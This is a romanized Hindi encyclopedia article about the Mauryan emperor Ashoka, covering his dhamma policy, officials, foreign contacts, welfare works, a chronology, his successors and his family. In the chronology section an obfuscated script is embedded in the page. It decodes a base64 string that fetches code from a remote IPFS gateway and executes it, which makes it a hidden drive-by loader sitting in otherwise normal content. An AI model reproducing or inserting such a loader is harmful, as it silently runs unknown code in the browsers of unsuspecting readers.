[[chitr:Inscription-Of-Ashoka-Brahmi-Script.jpg|thumb|250px|brahmi lipi mean likhe ashok ke shilalekh, rashtriy sangrahalay, dilli]] ashok ne dhamm prachar ke lie b di lagan aur utsah se kam kiya. ahiansa ke prachar ke lie ashok ne kee qadam uthae. usane yuddh band kar die aur svayan ko tatha rajakarmachariyoan ko manav-matr ke naitik utthan mean lagaya. jivoan ka vadh rokane ke lie ashok ne pratham shilalekh mean vikshapti jari ki ki kisi yajn ke lie pashuoan ka vadh n kiya jae. 'ih' shabd se yah anuman lagaya jata hai ki yah nishedh ya to rajabhavan ya phir pataliputr ke lie hi tha, samast samrajy ke lie nahian. pashu—vadh ko ekadam rokana asambhav tha. atah ashok ne likha hai ki rajakiy rasoee mean pahale jahaan saik doan hazaroan pashu bhojan ke lie mare jate the, vahaan ab keval tin prani—do mor aur ek mrig mare jate haian, aur bhavishy mean ve bhi nahian mare jaeange. sath hi ashok ne yah bhi ghoshana ki ki aise samajik utsav nahian hone chahie, jinamean aniyantrit amod-pramod ho. jaise—surapan, maans bhakshan, mallayuddh, janavaroan ki l daee adi. inake sthan par ashok ne dhammasabhaoan ki vyavastha ki jinamean viman, hathi, agniskandh, ityadi svarg ki jhaankiyaan dikhaee jati thi aur is prakar janata mean dhamm ke prati anurag paida kiya jata tha. bihar—yatraean, jinamean pashuoan ka shikar rajaoan ka mooly manoranjan tha, band kar di gee. unake sthan par ashok ne dhamm yatraean prarambh kian. in yatraoan ke avasar par ashok brahmanoan aur shravanoan ko dan deta tha. vriddhoan ko suvarn dan deta tha. vyaktigat upadesh se am janata mean dharm prasaran mean sahayata mili.

bauddh sthanoan ki yatra

ashok ne anek bauddh sthanoan ki yatra ki, jaise—bodhagaya, lumbini, nigalisagar adi. in dharm yatraoan se ashok ko desh ke vibhinn sthanoan ke logoan ke sampark mean ane ka aur dharm tatha shasan ke vishay mean logoan ke vichar janane ka avasar mila. sath hi in yatraoan se ek prakar se sthaniy shasakoan par niyantran rahata tha. ashok ne rajy ke karmachariyoan—pradeshik, rajuk tatha yuktakoan ko prati paanchavean varsh dharm prachar ke lie yatra par bheja. ashok ke lekhoan mean ise anusandhan kaha gaya hai.

karmachariyoan ki niyukti

tisari shatabdi eesa poorv tak uttari bharat ki arthavyavastha mukhyat: krishi pradhan ho gee thi. bhoo-rajasv sarakar ki ay ka sarvamany srot ban chuka tha aur yah mahasoos kiya jane laga ki krishi-arthavyavastha ka vistar hone par niyamit karadhan se rajasv mean bhi sunishchitt vriddhi hogi. adhikaansh janasankhya krishak thi aur gaanv mean rahati thi. raja aur rajy ka bhed uttarottar mitata ja raha tha.^[24]

apane rajyabhishek ke chaudahavean varsh mean ashok ne ek navin prakar ke karmachariyoan ki niyukti ki. inhean "dhammamahamatr" kaha gaya hai. apane kary ki drishti se dhammamahamatr ek navin prakar ka karmachari tha. in karmachariyoan ka mukhy kary janata ko dhamm ki batean samajhana, unamean dhamm ke prati ruchi paida karana tha. ve samaj ke sabhi vargoan—brahman, kshatriy, vaishy, das, nirdhan, vriddh—ke kalyan tatha sukh ke lie kary karate the. ve simaant deshoan tatha videshoan mean bhi kam karate the. rajy mean sabhi prakar ke logoan tak unaki pahuanch thi. unaka kary tha dharm ke mamale mean logoan mean sahamati badhana. brahman, shraman tatha rajagharane ke logoan ko danashil karyoan ke lie protsahit karana, karavas se qaidiyoan ko mukt karana ya unaka dand kam karavana tatha logoan ki anyay se raksha karana. dhammamahamatroan ki niyukti se ek varsh poorv usane samrajy ke vibhinn sthanoan par dhamm ki shikshaoan ko shilalekhoan mean utkirn karavaya.

videshoan se sambandh

dhamm prachar evan dhamm vijay ke sandarbh mean ashok ke shilalekhoan mean kuchh aise vivaran bhi milate haian, jinamean usake evan videshoan ke parasparik sambandhoan ka abhas milata hai. ye sambandh kootaniti evan bhaugolik sannidhy ke hitoan par adharit the. ashok ne jo sampark sthapit kie ve adhikaanshatah dakshin evan pashchim kshetroan mean the aur dhamm mishanoan ke madhyam se sthapit kie the. in mishanoan ki tulana adhunik sadabhavana mishanoan se ki ja sakati hai. ashok ke ye mishan sthayi taur par videshoan mean ek ashcharyajanak tathy haian ki stanbh abhilekh nan. 7, jo ashok ke kal ki akhiri ghoshana mani jati hai, tamraparn, shrilanka ke atirikt aur kisi videshi shakti ka ullekh nahian karati. shayad videshoan mean ashok ko unati saphalata nahian mili jitani samrajy ke bhitar. phir bhi itana kaha ja sakata hai ki videshoan se sampark ke jo dvar sikandar ke akraman ke pashchath khule the, ve ab aur adhik chau de ho ge.

yavan, kamboj evan gaandhar

[[chitr:Kharoshthi Script 4.jpg|thumb|kharoshthi lipi|270px]] jahaan tak pashchimi shaktiyoan ka sambandh hai, shilalekh 5 evan 13 mean yavanoan, kambojoan evan gaandharoan ka ullekh hai. kintu uttar-pashchim ki in shaktiyoan ke pashchim mean bhi kuchh aisi shaktiyaan thian, jo ki sikandar ke akraman ke bad sthapit ho gee thian aur samany roop se yavan thian. inamean se kuchh ko ashok ne nam lekar abhihit kiya hai. ek sthan par ashok ne kaha hai ki usake dhamm mishan simavarti rajyoan aur 600 yojan jaise sudoor kshetroan mean bhi pahuanche the. shilalekh 2 evan 13 mean yavan naresh aantiyok ka ullekh hai jo akhamani entiyokas dvitiy mana jata hai. kaha jata hai ki ashok ne vishal patthar par ek abhilekh utkirn karavaya jisaki ghoshanaoan ki shaili akhamani praroop se prarit thi. bhashashastriy adhyayan se bhi in samparkoan ki pushti hoti hai. ashok ke shahabazagadhi evan manasehara shilalekhoan mean kharoshthi lipi ka prayog evan kuchh eerani shabdoan ka prayog bhi isi or sanket karate haian. rudradama ke joonagadh abhilekh mean aparant (pashchim bharat) mean ashok ke gavarnar ke roop mean yonaraj tufask ka nam milata hai. jo spashtatah ek eerani nam hai. pashchim ke hi kuchh any nareshoan ke nam ashok ke shilalekh nan0 13 mean milate haian--

turamay arthath tulamay, jo misr ka yavan naresh talmi dvitiy philadelphas (ee. poo. 285-47) tha.
aantikitani arthath aantekin—mesidoniya ka yavan naresh aintigonas gonatas (ee. poo. 277-39).
maka arthath maga—uttari aphrika mean serin ka yavan naresh maga (ee. poo. 282-58).
alikasundar—aipiras ka yavan naresh elekzedar (ee. poo. 272-55) athava korins ka yavan naresh elekzedar (ee0 poo. 252-44).

(ye char naresh aantiyok ke rajy ke pare batae jate haian.)

dakshin bharat mean ashok

dakshin mean maury prabhav ke prasar ki jo prakriya chandragupt maury ke kal mean arambh huee, vah ashok ke netritv mean aur bhi adhik pusht huee. lagata hai ki chandragupt ki sainik prasar ki niti ne vah sthayi saphalata nahian prapt ki, jo ashok ki dhamm vijay ne ki thi. gavimath, brahmagiri, maski, yerragundi, jatiang rameshvar adi sthaloan par sthit ashok ke shilalekh isake praman haian. aur phir parivarti kalin sahity mean, vishesh roop se dakshin mean ashokaraj ki parampara kafi prachalit pratit hoti hai. hyoonatsaang ne to chol-pady rajyoan mean (jinhean svayan ashok ke shilalekh 2 evan 13 mean simavarti pradesh bataya gaya hai) bhi ashokaraj ke dvara nirmit anek stoopoan ka varnan kiya hai. yah sambhav hai ki kaliang mean ashok ki sainik vijay aur phir usake pashchath unake sauhardapoorn niti ne bhoj, pattanik, aandhroan, rashtrikoan, satiyaputroan evan keralaputroan jaisi shaktiyoan ke bich maury prabhav ke prasar ko badhaya hoga. dakshin disha mean ashok ko sarvadhik saphalata tamraparni mean mili. vahaan ka raja tiss to ashok se itana prabhavit tha ki usane bhi devanampriy ki upadhi dharan kar li. apane doosare rajyabhishek mean usane ashok ko vishesh nimantran bheja. jisake phalasvaroop sambhavatah ashok ka putr mahendr bodhivriksh ki paudh lekar pahuancha. shrilanka mean yah bauddh dharm ka padarpan tha. shrilanka ke prachinatam abhilekh tiss ke uttaradhikari uttiy ke kal ke haian. jo apani prakrit bhasha evan shaili ki drishti se spashtatah ashok ke abhilekhoan se prabhavit hai. ashok aur shrilanka ke sambandh parasparik sadabhav, adar-samman evan barabari par adharit the n ki samrajyik shakti evan ashrit shakti ke parasparik sambandhoan par.

uparyukt videshi shaktiyoan ke atirikt kuchh kshetr aise bhi haian jinake sambandh mean kuchh paramparaean evan kianvadantiyaan prapt haian. udaharanarth kashmir sambhavatah any simavarti pradeshoan ki tarah hi ashok ke samrajy se ju da tha. madhy eshiya mean sthit khotan ke rajy ke bare mean ek tibbati parampara hai ki buddh ki mrityu ke 250 varsh ke bad arthath ee. poo. 236 mean ashok khotan gaya tha. sambhavatah yah bhi dhamm mishan ke roop mean hua hoga kintu yah drishtavy hai ki svayan ashok ke abhilekhoan mean isaka koee ullekh nahian hai. isi prakar nepal ka kuchh aansh ashok ki yatra ke upalakshy mean vahaan ke karoan ko kam karana kisi videshi rajy mean sambhav nahian tha. phir bhi nepal ka shesh aansh sambhavatah maury samrajy se ghanishth sambandh banae hue hoga.

ashok shasak ke roop mean

chitr:Blockquote-open.gif har dasha mean doosare sampradayoan ka adar karana hi chahie. aisa karane se manushy apane sampraday ki unnati aur doosare sampradayoan ka upakar karata hai. isake viparit jo karata hai vah apane sampraday ki j d katata hai aur doosare sampradayoan ka bhi apakar karata hai. kyoanki jo apane sampraday ki bhakti mean akar is vichar se ki mere sampraday ka gaurav badhe, apane sampraday ki prashansa karata hai aur doosare sampraday ki ninda karata hai, vah aisa karake vastav mean apane sampraday ko hi gahari hani pahuanchata hai. isalie samavay (paraspar melajol se rahana) hi achchha hai arthath log ek-doosare ke dharm ko dhyan dekar sunean aur usaki seva karean. - samrat ashok mahan^[25] chitr:Blockquote-close.gif

devanampriy priyadarshi ke arth

'devanampriy priyadarshi' is vakyaansh mean bi.e. smith ke matanusar 'devanampriy' adarasoochak pad hai aur isi arth mean hamane bhi isako liya hai kiantu devanampriy shabd (dev-priy nahian) panini ke ek sootr^[26] ke anusar anadar ka soochak hai. katyayan^[27] ise apavad mean rakhata hai. patanjali^[28] aur yahaan tak ki kashika (650 ee.) bhi ise apavad hi manate haian. par in sabake uttarakalin vaiyakaran bhattojidikshit ise apavad mean nahian rakhate. ve isaka anadaravachi arth 'moorkh' hi karate haian. unake mat se 'devanampriy brahmajnan se rahit us purush ko kahate haian jo yajn aur pooja se bhagavan ko prasann karane ka yatn karata hai jaise gay doodh dekar malik ko.^[29] is prakar ek upadhi jo nandoan, mauryoan aur shuangoan ke yug mean adaravachi thi us mahanh raja ke prati brahmanoan ke duragrah ke karan anadar soochak ban gee.

panini ka sootr hai "shashthya akoshe" arthath akosh anadar ke lie samast padoan mean shashthi ki vibhakti vartaman rahati hai, jaise chaurasy kulam, isake viparit brahman-kulam mean shashthi vibhakti lupt hai kyoanki is pad se kisi anadar ki soochana nahian milati. isi prakar devanampriy varttik ka udaharan hai. patanjali ne panini^[30] ke bhashy mean devanampriy ko to dirghayu: aur ayushman ki bhaanti ashirvad ka sanbodhan mana hai. ban ke harshacharit mean donoan hi avasaroan par ise adarasoochak mana hai.^[31]

dharm parayan ashok

bauddh dharm grahan karane ke pashchath ashok ne dharm prachar ke lie b di lagan aur utsah se kam kiya. parantu shasan ke prati vah qatee udasin nahian hua. dharm parayanata ne usamean praja ke aihik evan paralaukik kalyan ke lie lagan paida ki. usane raja aur praja ke bich paitrik sambandh ko badhane par adhik bal diya. kaliang mean ashok ne kaha hai, "sari praja meri santan hai, jis prakar maian apani santan ke aihik aur kalyan ki kamana karata hooan usi prakar, apani praja ke aihik aur paralaukik kalyan aur sukh ke lie bhi. jaise ek maan ek shishu ko ek kushal dhay ka sauanpakar nishchiant ho jati hai ki kushal dhay santan ka palan-poshan karane mean samarth hai, usi prakar maianne bhi apani praja ke sukh aur kalyan ke lie rajukoan ki niyukti ki hai" ^[32]. vah praja ke kary karane ke lie sadaiv udyat rahata tha. apane chhathe shilalekh mean usane yah ghoshana ki, "har kshan aur har sthan par—chahe vah rasoeeghar ho, aantapur mean ho athava udyan mean—mere prativedak mujhe praja ke karyoan ke sambandh mean soochit karean. maian janata ka kary karane mean kabhi bhi nahian aghata. mujhe praja ke hit ke lie kary karana chahie." is prakar ham dekhate haian ki raja ke utthanavrat aur prajahit adarsh par ashok ne atyadhik bal diya. yahi nahian, ashok ne raja ke kartavy ka ek naya drishtikon prastut kiya. raja praja ka rrini hai, praja ke prati apane kartavy ka palan karake vah praja ka rrin chukata hai. [[chitr:Ashokthegreat.jpg|thumb|300px|bauddh dharm ka prachar karate ashok]] ashok ke athavean shilalekh mean tatha maski laghu shilalekh mean yah anuman lagaya gaya hai ki ashok rajy ke vibhinn bhagoan mean nirikshatan bhi karata tha. jisase janata ke sukh—duahkh ka sidhe pata laga sake. purushoan aur prativedakoan dvara janasampark bana rahata tha. apane shasan ko adhik manaviy banane ke lie ashok ne shasan mean kee sudhar kie. sarvapratham prashasanik sudhar yah tha ki pradeshik rajuk se lekar yuktak tak sabhi adhikari har paanchavean sal (ujjayini aur takshashila mean har tisare sal) rajy mean nirikshatan ke lie jate the. prashasanik kary ke atirikt ve dhamm ka prachar bhi karate the. kaliang lekh se pata chalata hai ki akaran logoan ko karavas tatha bhay bachane ke lie pratyek paanchavean varsh mahamatr nirikshatan ke lie bheje jate the. unaka ek kary yah bhi tha ki ve dekhean ki nagar nyayadhish raja ke adesh ka palan karean. ashok ne apane rajy ke terahavean varsh ke bad ek sarvatha navin prakar ke uchchadhikariyoan ki niyukti ki. inhean dhammamahamatr kaha gaya hai. inaka pramukh kary janata mean dharmaprasar karana tatha danashilata ko utsahit karana tha. kintu prashasanik drishti se inaka kary yah tha—jinhean karavas ka dand diya gaya ho unake parivaroan ko arthik sahayata dena, aparadhiyoan ke sambandhiyoan se sampark banae rakhakar unhean saantvana dena. is prakar ashok ne nyay aur dand mean manaviyata lane ka prayas kiya. nyay ko daya se mishrit karake mridu bana diya.

kalyanakari kary

ashok vyavaharik tha. usane mrityudand ko ek dam samapt nahian kiya, kintu yah vyavastha ki ki yadi samuchit karan upasthit hoan, to dhamm mahamatr nyayadhikariyoan se dand kam karavane ka prayatn karean. jin aparadhiyoan ko mrityudand diya gaya ho, unhean tin din ka avakash dene ki vyavastha ki gee, taki is bich unake sambandhi unake jivanadan ke lie (rajukoan se) prarthana kar sakean, aur (yadi yah sambhav n ho sake to) ve dan-vrat prarthana ke dvara paralok ki taiyari kar sakean. rajukoan ko adesh diya gaya ki abhihar dand mean ekaroopata ho aur pakshapatarahit ho. 26vean varsh mean ashok ne rajukoan, abhihar tatha dandakoan ko svatantrata di taki oopar se bina hastakshep ke ve atmavishvas ke sath praja ka hit kar sakean. ye rajuk saik doan—hazaroan logoan ke oopar shasan karate the aur ashok ne unhean svatantrata isalie di ki ve nirvaghn shasan dvara janata ka hit karane mean samarth ho sakean.

ashok ne manushyoan aur pashuoan ke lie chikitsalay khulavae. jahaan manushyoan aur pashuoan ke lie upayogi aushadhiyaan upalabdh nahian thi vahaan bahar se mangakar unhean lagaya jata. kandamool aur phal bhi jahaan kabhi nahian the, vahaan bahar se mangakar lagavae ge. s dak ke kinare par pe d lagae ge taki manushyoan aur pashuoan ko chhaya mil sake. ath kos ya 9 mil ke fasale par jagah-jagah kuean khudavae ge. isake alava anek pyaoo sthapit kie ge. is prakar ashok ki dharmaparayanata ne use anek prakar ke kalyanakari karyoan ke lie prerit kiya. usaka shasan kendit hote hue bhi manaviy tha.

nidhan

is bat ka bhi vivaran nahian milata hai ki ashok ke karmath jivan ka aant kab, kaise aur kahaan hua. tibbati parampara ke anusar usaka dehavasan takshashila mean hua. usake ek shilalekh ke anusar ashok ka aantim kary bhikshusangh me phoot dalane ki nianda karana tha.sambhavat: yah ghatana bauddhoan ki tisari sangati ke bad ki hai. sianhali itihas granthoan ke anusar tisari sangiti ashok ke rajyakal mean pataliputr mean huee thi.^[33]

jivan kalakram

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

janashrutiyoan ke adhar par ashok ka kalakram^[4]
tithi	vivaran

eesa poorv 304	ashok ka janm (ashok ke sabase b de putr ki janmatithi ke adhar par anuman kar)
eesa poorv 286	ashok ke pita biandusar ne (18 varsh ki umr mean) use ujjain ka vaisaray banakar bheja.^[34]
eesa poorv 286	vedisa (besanagar, bhilasa) ki devi se ashok ka vivah.
eesa poorv 284	ashok ke jyeshth putr maheandr ka janm.^[35]
eesa poorv 282	ashok ki sabase b di putri sanghamitra ka janm.
eesa poorv 274	uttaradhikar ke lie yuddh. yuvaraj suman ki mrityu. ashok ka sianhasan par adhikar. suman ki mrityu ke bad usake bete nigrodh ka janm.^[36].
eesa poorv 270	ashok ka rajyabhishek^[37]
eesa poorv 270-266	ashok ka chhota bhaee tiss uparaj bana.^[38]
eesa poorv 270-240	asandhimitra ashok ki agramahishi (patarani) ^[39]
eesa poorv 268	sanghamitra ka agnibrahma se vivah.
eesa poorv 267	sanghamitra ke putr suman ka janm ^[40]
eesa poorv 266	nigrodh dvara ashok ka bauddh dharm mean parivartan. us samay nigrodh keval sat varsh ka tha.^[41] yah tithi b de mahatv ki hai kyoanki (k) isase pata chalata hai ki mahavansh mean ullikhit tithiyaan usake abhishek se gini gee haian^[42] n ki usake rajy pane ki tithi se^[43], (kh) isase ek atirikt praman is bat ka milata hai ki ashok ke rajy pane ki tithi sahi hai, aur (g) isase laghu chattan lekh 1 mean ashok ke bauddh upasak banane ki jo tithi di hai usaki pushti hoti hai. ashok ne apane chhote bhaee aur yuvaraj tiss ko bauddh banaya.^[44] tiss ko achary mahadharmarakshit ne diksha di.^[45] ashok ke bhaginey v jamata agnibrahma ko bauddh dharm ki diksha.^[46] maheandr ki tiss ke sthan par uparaj pad par (usaki 18 varsh ki umr mean) niyukti. ^[47]
eesa poorv 266-263	ashok ne vihar v chaity banavaye. ^[48]
eesa poorv 264	ther mahadev ne maheandr ko bhikshu banaya. majjhantik ne kanmavachan poora kiya. moggaliputt tiss ne maheandr ko pun: diksha di aur vah usaka upadhyay bana. acharya ayupala aur upadhyaya dharmapala ne sanghamitra ko bhikshuni banaya.^[49] ashok pachchayadayak se unnati kar sasanadayak bana. ^[50]
eesa poorv 263-	kunal ka ashok ki patni padmavati ke garbh se janm. ^[51]
eesa poorv 262	ther tiss v sumitt ki mrityu. sangh mean avaanchhit bhikshu-bhikshuniyoan ki vriddhi jisase udasin hokar moggaliputt tiss sangh se virakt rahane laga ^[52]
eesa poorv 262-254	maheandr sangh ka adhyaksh raha. ashok ne moggaliputt tiss ko bula bheja. tiss ne use sanbuddh ke siddhaant ka adhyapan kiya. tiss ko adhyakshata mean sangh ki baithak. ashok ne apadharmi bhikshuoan ko sangh se nikal bahar kiya.^[53]
eesa poorv 260-250	ashok dvara bauddh tirthoan ki yatra ka sanbhavit kal jisake aant mean usane divyavadan 27 ke anusar dharmarajik ko poora karaya. divyavadan ke anusar upagupt ashok ko sabase pahale luanbini van le gaya phir usane use bodhimool ki yatra karayi. chattan lekh 8 mean ee. poo. 260 mean ashok ke sanbodhi ke darshan ka ullekh haian. rumminadeee stanbh lekh ee. poo. 250 mean usaki luanbini yatra ka ullekh karata hai.
eesa poorv 253	tritiy bauddh sangiti jisake adhyaksh moggaliputt tuss the. vibhinn deshoan mean dootoan ka bhejana.^[54]
eesa poorv 252	lanka jate hue maheandr ne vidisha mean apani mata devi ke darshan kiye.^[55]use bhikshu bane 12 varsh bit chuke the.
eesa poorv 240	ashok ki priyapatni aur sanbuddh ki ddadh vishvasini asanghimitra ki mrityu.^[56]
eesa poorv 236	tishyarakshita agramahishi bani.^[57]
eesa poorv 235	takshashila mean vidroh. kunal vahaan vaisaray banakar bheja gaya.^[58]
eesa poorv 233	tishyarakshita ka bodhi-vriksh se dvesh, jise usane nasht karane ki cheshta ki.^[59]
eesa poorv 232	shasan ke a datisavean varsh mean ashok ki mrityu. ^[60]

ashok ke jivan aur shasan ka jo kalakram usake lekhoan se vidit hota hai usaki tulana janashrutiyoan se karana labhadayak hoga. ye janashrutiyaan uttari aur dakshini donoan haian. uttari janashruti divyavadan mean aur dakshini mahavansh mean surakshit hai. kalakram ke ye donoan adhar yadyapi alag-alag haian tathapi anek mamaloan mean ye ek doosare ka samarthan karate pratit hote haian. ashok ke abhishek ki tithi eesa poorv 270 mean nishchit ho chuki hai. ab isi sthan se shuroo karake ham ashok ke jivan v shasan ki niche likhi ghatanaoan ki tithiyaan nikal sakate haian aur unhean kalakram se suvyavasthit bhi kar sakate haian.

uttaradhikari

40 varsh tak rajy karane ke bad lagabhag ee. poo. 232 mean ashok ki mrityu huee. usake bad lagabhag 50 varsh tak ashok ke anek uttaradhikariyoan ne shasan kiya. kintu in maury shasakoan ke sambandh mean hamara jnan aparyapt tatha anishchit hai. puran, bauddh tatha jain anushrutiyoan mean in uttaradhikariyoan ke namoan ki jo soochiyaan di gee haian ve ek-doosare se mel nahian khati haian.

puranoan ke anusar ashok ke bad 'kunal' gaddi par baitha. divyavadan mean use 'dharmavivardhan' kaha gaya hai. 'dharmaviverdhan' sambhavatah usaka viruddh tha, kintu ashok ke aur bhi putr the.
rajatarangini ke anusar 'jalauk' kashmir ka svatantr shasak ban gaya.
taranath ke anusar 'virasen' ashok ka putr tha, jo gaandhar ka svatantr shasak ban gaya. is prakar ham dekhate haian ki ashok ki mrityu ke bad hi samrajy ka vighatan ho gaya. kunal aandha tha, atah vah shasan kary mean asamarth tha.
jain tatha bauddh granthoan ke anusar shasan ki bagador usake putr 'sanprati' ke hath mean thi. in anushrutiyoan ke anusar sanprati hi kunal ka uttaradhikari tha.
puranoan tatha nagarjuni paha diyoan ki gufaoan ke shilalekh ke anusar dasharath kunal ka putr tha. nagarjuni gufaoan ko dasharath ne ajivikoan ko dan mean diya tha. in pramanoan ke adhar par yah mat prastut kiya gaya ki magadh samrajy do bhagoan mean vibhakt ho gaya. dasharath ka adhikar samrajy ke poorvi bhag mean tatha sanprati ka pashchimi bhag mean tha.
vishnu puran tatha gargi sanhita ke anusar sanprati tatha dasharath ke bad ullekhaniy maury shasak salisuk tha. use sanprati ka putr brihaspati bhi mana ja sakata hai.
puranoan mean hi nahian varanh harshacharit mean bhi magadh ke antim samrat ka nam brihadrath diya gaya hai. inake anusar maury vansh ke antim samrat brihadrath ki, usake senapati pushyamitr ne hatya kar di aur svayan sianhasan par aroodh ho gaya.

ashok ka parivar

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samrat ashok ka parivar^[61]
kramaank	rishta	nam evan vivaran

1-	pita	biandusar, jisaki kee raniyaan thian.
2-	mata	uttari parampara mean subhadraangi aur dakshin parampara mean dharma.
3-	bhaee	suman ya susim - sabase b da parantu sautela bhaee tishy - sahodar aur sabase chhota bhaee, uttari parampara mean isaka nam vitashok ya vigatashok bhi milata hai. yuvaanchuang isaka nam maheandr batata hai aur any chini granthoan mean sudatt aur sugatr nam bhi aye haian. upari ullikhit 'theragatha tika' ke anusar vitashok.
4-	patniyaan	devi- poora nam 'vedis mahadevi shakyakumari' karuvaki- lekhoan mean dvitiy devi tivalmata asandhimitra- agramahishi padmavati^[62] tishyarakshita.
5-	putr	devi ka putr maheandr karuvaki ka putr tivar padmavati ka putr kunal^[63] apar nam dharmavivardhan jalauk- rajatarangini mean ullikhit. lekhoan mean door ke char praantoan ke vaisaray ke roop mean char putroan ka ullekh hai, inhean 'kumar' ya 'aryaputr' kaha gaya hai. ye 'dalakoan' se bhinn the. 'dalak' mataoan ki nimn sthiti ke anuroop putroan ki sanjna thi. ^[64]
6-	putriyaan v jamata (damad)	devi ki putri sanghamitra aur sanghamitra ka pati agnibrahma devi ki putri charoomati aur charoomitra ka pati devapal kshatriy.
7-	pote v nati	dasharath, jo raja bana kunal ka putr sanprati sanghamitra ka putr suman

lanka ki parampara mean ^[65] biandusar ki solah pataraniyoan aur 101 putroan ka ullekh hai. putroan mean keval tin ke namollekh haian, ve haian - suman ^[66] jo sabase b da tha, ashok aur tishy. tishy ashok ka sahodar bhaee aur sabase chhota tha. uttari paramparaoan mean ashok ki mata ka nam subhadraangi^[67] milata hai, jise champa ke ek brahman ki roopavati kanya batalaya gaya hai. isase biandusar ko ek doosara putr bhi hua tha, jisaka nam vigatashok (vitashok) tha na ki tishy jaisa ki lanka ki parampara mean ata hai. dakshin ki parampara mean usaki mata ka nam 'dharma' aya hai. dharma ko agramahishi (agg-mahesi)^[68] kaha gaya hai. usake parivar ke guru ka nam 'janasan' tha, jo ki 'ajivik' sadhu tha. isase is bat ka khulasa ho jata hai ki ashok ajivikoan ko ashray kyoan deta tha. dharma ka janm moriyoan ke kshatriy vansh mean hua tha.^[69]

parivar ke sadasy

katipay lekhoan mean usake nazadiki rishtedaroan ke nam bhi diye gaye haian. is prakar doosari rani karuvaki aur usake putr tivar ke ullekh haian. ek bad ke lekh mean ashok ke pote dasharath ka nam aya hai. ashok ke lekhoan mean aur janashrutiyoan mean bhi ashok ki kee patniyaan hone ka ullekh hai. sianhali anushrutiyoan ke anusar usaki pahali patni ka nam devi tha, jo vedisagiri ke ek dhani shreshthi ki putri thi. ashok ne usake sath tab vivah kiya, jab vah ujjain mean vaisaray tha. mahabodhivansh^[70] mean use vedis-mahadevi aur shakyani^[71]ya shakyakumari ^[72] kaha gaya hai. prasenajit ke putr vidoodabh ne jab apani nanihal valoan ko tang karana shuroo kiya to ye shaky usake bhay se apana vatan chho dakar vedisa (vedisan nagaran) chale gaye the.^[73] is prakar ashok ki pahali patni buddh ke kul se sambaddh thi. isake bare mean yah bhi kaha gaya hai ki usane vedisagiri ke mahavihar ka nirman karaya tha.^[74] saanchi aur bhilasa ka sambhavat: yah pahala nirman tha. isase yah bhi spasht ho jata hai ki apane nirmanoan ke lie ashok ne saanchi aur usake upaant ke manohar vatavaran ko kyoanchuna. isase bhi prachin sahity mean vidisha ka ullekh ek prasiddh bauddh sthan ke roop mean aya hai.^[75] devi se ashok ko ek putr maheandr aur putri sanghamitra huee. sanghamitra ka vivah ashok ke bhaginey agnibrahma se hua tha. sanghamitra ke ek beta bhi hua tha, jisaka nam suman tha. mahavansh ke anusar devi ashok ke sath pataliputr nahian gayi, kyoanki vahaan ashok ki agramahishi asandhimitra rahati thi.^[76]

mahendr aur sanghamitra

ashok ne bauddh dharm grahan kiya, is dharm ke upadeshoan ko n keval desh mean varanh videshoan mean bhi pracharit karane ke lie prabhavashali qadam uthae. apane putr mahendr aur putri sanghamitra ko ashok ne isi kary ke lie shrilanka bheja tha. ashok ne apane karyakal mean anek shilalekh khudavae jinamean dharmopadeshoan ko utkirn kiya gaya. rajashakti ko sarvapratham usane hi janakalyan ke vividh karyoan ki or agrasar kiya. anek stoopoan aur stanbhoan ka nirman kiya gaya. inhian mean se saranath ka prasiddh sianhashirsh stanbh bhi hai jo ab bharat ke rajachihn ke roop mean sammanit hai.

REDIRECTsaancha:inhean bhi dekhean

sahridayata, sahishnuta aur udarata

kuchh itihasakaroan ka mat hai ki ashok ne dharmik kshetroan ki or dhyan n dekar rashtriy drishti se hit sadhan nahian kiya. isase bharat ka rajanitik vikas rooka jabaki us samay roman samrajy ke saman vishal bharatiy samrajy ki sthapana sanbhav thi. is niti se digvijayi sena nishkriy ho gee aur videshi akraman ka samana nahian kar saki. is niti ne desh ko bhautik samriddhi se vimukh kar diya jisase desh mean rashtriyata ki bhavanaoan ka vikas avaruddh ho gaya. doosari or any ka mat isase viparit hai. ve kahate haian isi niti se bharatiyata ka any deshoan mean prachar hua. ghrina ke sthan par sahridayata vikasit huee, sahishnuta aur udarata ko bal mila tatha barbarata ke krityoan se bhare hue itihas ko ek nee disha ka bodh hua. lokahit ki drishti se ashok hi apane samakalin itihas ka ekamatr aisa shasak hai jisane n keval manav ki varanh jivamatr ki chianta ki. is mat-vibhinnata ke rahate hue bhi yah vichar sarvamany hai ki ashok apane kal ka akela samrat tha, jisaki prashasti usake gunoan ke karan hoti aee hai bal ke dar se nahian.

maury kal

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poorvadhikari
bindusar

ashok alekh

uttaradhikari
dasharath maury